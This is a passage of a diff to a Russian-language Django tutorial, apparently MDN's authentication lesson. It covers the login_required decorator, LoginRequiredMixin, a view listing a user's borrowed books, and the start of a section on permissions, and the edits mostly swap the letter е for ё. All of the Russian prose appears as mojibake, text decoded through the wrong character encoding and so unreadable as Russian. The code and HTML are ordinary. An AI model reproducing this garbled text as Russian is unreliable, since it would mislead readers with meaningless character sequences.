ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ вошСл Π² систСму, это ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ URL-адрСс Π²Ρ…ΠΎΠ΄Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² настройках ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. (<code>settings.LOGIN_URL</code>), ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Β Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π² качСствС <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">next</span></font>Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° URL. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ удастся Π²ΠΎΠΉΡ‚ΠΈ Π² систСму, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ Π½Π° эту страницу, Π½ΠΎ Π½Π° этот Ρ€Π°Π· Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹.</p>
+<p>Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ прСдставлСния, самым простым способом ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ вашим функциям являСтся ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ <code>login_required</code> Π΄Π΅ΠΊΠΎΡ€Π°Ρ‚ΠΎΡ€ ΠΊ вашСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ просмотра, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΎΡˆΡ‘Π» Π² систСму, ваш ΠΊΠΎΠ΄ просмотра Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ Π²ΠΎΡˆΡ‘Π» Π² систСму, это ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚ URL-адрСс Π²Ρ…ΠΎΠ΄Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π² настройках ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. (<code>settings.LOGIN_URL</code>), ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Β Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ Π² качСствС <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">next</span></font>Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° URL. Если ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ удастся Π²ΠΎΠΉΡ‚ΠΈ Π² систСму, ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Ρ‹ Π½Π° эту страницу, Π½ΠΎ Π½Π° этот Ρ€Π°Π· Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹.</p>
<pre class="brush: python notranslate">from django.contrib.auth.decorators import login_required
@@ -453,13 +453,13 @@ class MyView(LoginRequiredMixin, View):
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_-_пСрСчислСниС_ΠΊΠ½ΠΈΠ³_Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ - пСрСчислСниС ΠΊΠ½ΠΈΠ³ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ</h2>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ страницу ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, создайтС прСдставлСниС ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ заимствовал Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ страницу ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, создайтС прСдставлСниС ΠΎ ΠΊΠ½ΠΈΠ³Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ заимствовал Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ.</p>
<p>К соТалСнию, Ρƒ нас ΠΏΠΎΠΊΠ° Π½Π΅Ρ‚ возмоТности ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ½ΠΈΠ³ΠΈ!Β ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΠΌΡ‹ смоТСм ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ список ΠΊΠ½ΠΈΠ³, ΠΌΡ‹ сначала Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠΌΒ <code>BookInstance</code> модСль для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ заимствования ΠΈ использования прилоТСния Django Admin для заимствования ряда ΠΊΠ½ΠΈΠ³ Π½Π°ΡˆΠ΅ΠΌΡƒ тСстовому ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
<h3 id="МодСли">МодСли</h3>
-<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π° Π½Π°Β <code>BookInstance</code> (Ρƒ нас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ <code>status</code> ΠΈΒ <code>due_back</code> Π΄Π°Ρ‚Π°,Β Π½ΠΎ Ρƒ нас ΠΏΠΎΠΊΠ° Π½Π΅Ρ‚ связи ΠΌΠ΅ΠΆΠ΄Ρƒ этой модСлью ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. ΠœΡ‹ создадим Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ поля <code>ForeignKey</code>Β (ΠΎΠ΄ΠΈΠ½ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ). Нам Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ΅Π½ простой ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, просрочСна Π»ΠΈ заСмная ΠΊΠ½ΠΈΠ³Π°.</p>
+<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π° Π½Π°Β <code>BookInstance</code> (Ρƒ нас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ <code>status</code> ΠΈΒ <code>due_back</code> Π΄Π°Ρ‚Π°,Β Π½ΠΎ Ρƒ нас ΠΏΠΎΠΊΠ° Π½Π΅Ρ‚ связи ΠΌΠ΅ΠΆΠ΄Ρƒ этой модСлью ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. ΠœΡ‹ создадим Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ поля <code>ForeignKey</code>Β (ΠΎΠ΄ΠΈΠ½ ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ). Нам Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ΅Π½ простой ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, просрочСна Π»ΠΈ заёмная ΠΊΠ½ΠΈΠ³Π°.</p>
<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅Β <strong>catalog/models.py</strong>, ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ модСль <code>User</code> ΠΈΠ·Β <code>django.contrib.auth.models</code> (Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ это Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ строки ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части Ρ„Π°ΠΉΠ»Π°, Ρ‚Π°ΠΊΒ <code>User</code> доступСн для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π°, Ρ‡Ρ‚ΠΎ позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ):</p>
@@ -538,7 +538,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
def get_queryset(self):
return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ наш запрос Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ BookInstance для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΌΡ‹ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ <code>get_queryset()</code>,Β ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ "o" это сохранСнный ΠΊΠΎΠ΄ для "on loan" ΠΈ ΠΌΡ‹ сортируСм по Π΄Π°Ρ‚Π΅Β <code>due_back</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ сначала ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΈΡΡŒ самыС старыС элСмСнты.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ наш запрос Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ BookInstance для Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΌΡ‹ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅ΠΌ <code>get_queryset()</code>,Β ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π²Ρ‹ΡˆΠ΅. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ "o" это сохранённый ΠΊΠΎΠ΄ для "on loan" ΠΈ ΠΌΡ‹ сортируСм по Π΄Π°Ρ‚Π΅Β <code>due_back</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ сначала ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΈΡΡŒ самыС старыС элСмСнты.</p>
<h3 id="URL-адрСс_для_Π·Π°Ρ‘ΠΌΠ½Ρ‹Ρ…_ΠΊΠ½ΠΈΠ³">URL-адрСс для Π·Π°Ρ‘ΠΌΠ½Ρ‹Ρ… ΠΊΠ½ΠΈΠ³</h3>
@@ -574,7 +574,7 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
<p>Π­Ρ‚ΠΎΡ‚ шаблон ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ создали Ρ€Π°Π½Π΅Π΅ для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>Book</code> ΠΈ <code>Author</code>. ЕдинствСнноС, Ρ‡Ρ‚ΠΎ Β«Π½ΠΎΠ²ΠΎΠ΅Β» здСсь, это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ провСряСм ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π² модСль <code>(bookinst.is_overdue</code>) с Ρ†Π΅Π»ΡŒΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для измСнСния Ρ†Π²Π΅Ρ‚Π° просрочСнных ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚ΠΎΠ².</p>
-<p>Когда сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π·Π°ΠΏΡƒΡ‰Π΅Π½, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ список для зарСгистрированного ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΏΠΎ адрСсу  <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ это, ΠΊΠΎΠ³Π΄Π° ваш ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΎΠΉΠ΄Π΅Ρ‚ Π² систСму ΠΈ Π²Ρ‹ΠΉΠ΄Π΅Ρ‚ ΠΈΠ· систСмы (Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ случаС Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° страницу Π²Ρ…ΠΎΠ΄Π° Π² систСму).</p>
+<p>Когда сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π·Π°ΠΏΡƒΡ‰Π΅Π½, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ список для зарСгистрированного ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΏΠΎ адрСсу  <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ это, ΠΊΠΎΠ³Π΄Π° ваш ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΎΠΉΠ΄Ρ‘Ρ‚ Π² систСму ΠΈ Π²Ρ‹ΠΉΠ΄Π΅Ρ‚ ΠΈΠ· систСмы (Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ случаС Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π½Π° страницу Π²Ρ…ΠΎΠ΄Π° Π² систСму).</p>
<h3 id="Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ_список_Π½Π°_Π±ΠΎΠΊΠΎΠ²ΡƒΡŽ_панСль">Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ список Π½Π° Π±ΠΎΠΊΠΎΠ²ΡƒΡŽΒ ΠΏΠ°Π½Π΅Π»ΡŒ</h3>
@@ -595,17 +595,17 @@ class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
<h3 id="На_Ρ‡Ρ‚ΠΎ_это_ΠΏΠΎΡ…ΠΎΠΆΠ΅">На Ρ‡Ρ‚ΠΎ это ΠΏΠΎΡ…ΠΎΠΆΠ΅?</h3>
-<p>Когда любой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΎΠΉΠ΄Π΅Ρ‚ Π² систСму, ΠΎΠ½Β Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ссылку «Мной позаимствовано (<em>My Borrowed)</em>» в боковой ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅, ΠΈ список ΠΊΠ½ΠΈΠ³, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅ (пСрвая ΠΊΠ½ΠΈΠ³Π° Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ установлСнной Π΄Π°Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎ являСтся ошибкой, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ надССмся ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π² Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΌ ΡƒΡ€ΠΎΠΊΠ΅!).</p>
+<p>Когда любой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π²ΠΎΠΉΠ΄Ρ‘Ρ‚ Π² систСму, ΠΎΠ½Β Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ссылку «Мной позаимствовано (<em>My Borrowed)</em>» в боковой ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅, ΠΈ список ΠΊΠ½ΠΈΠ³, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅ (пСрвая ΠΊΠ½ΠΈΠ³Π° Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ установлСнной Π΄Π°Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎ являСтся ошибкой, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ надССмся ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π² Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΌ ΡƒΡ€ΠΎΠΊΠ΅!).</p>
<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p>
<h2 id="ΠŸΡ€Π°Π²Π°_доступа">ΠŸΡ€Π°Π²Π° доступа</h2>
-<p>ΠŸΡ€Π°Π²Π° доступа связаны с модСлями ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π° экзСмплярС ΠΌΠΎΠ΄Π΅Π»ΠΈ самим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Django автоматичСски Π΄Π°Π΅Ρ‚Β <em>Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ</em>, <em>ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ</em>, ΠΈ <em>ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ</em> Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρƒ всСх ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ с ΠΏΡ€Π°Π²ΠΎΠΌ доступа Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ связанныС дСйствия Ρ‡Π΅Ρ€Π΅Π· администратора сайта. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ свои собствСнныС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ для ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΡ… ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, связанныС с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ экзСмплярами ΠΎΠ΄Π½ΠΎΠΉ ΠΈ Ρ‚ΠΎΠΉ ΠΆΠ΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ. ВСстированиС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ Π² прСдставлСниях ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ… ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° тСстированиС ΠΏΠΎ статусу Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ (фактичСски, тСстированиС ΠΏΡ€Π°Π² доступа такТС провСряСт Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ).</p>
+<p>ΠŸΡ€Π°Π²Π° доступа связаны с модСлями ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π° экзСмплярС ΠΌΠΎΠ΄Π΅Π»ΠΈ самим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΅ΡΡ‚ΡŒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Django автоматичСски Π΄Π°Ρ‘Ρ‚Β <em>Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ</em>, <em>ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ</em>, ΠΈ <em>ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ</em> Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρƒ всСх ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ с ΠΏΡ€Π°Π²ΠΎΠΌ доступа Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ связанныС дСйствия Ρ‡Π΅Ρ€Π΅Π· администратора сайта. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ свои собствСнныС 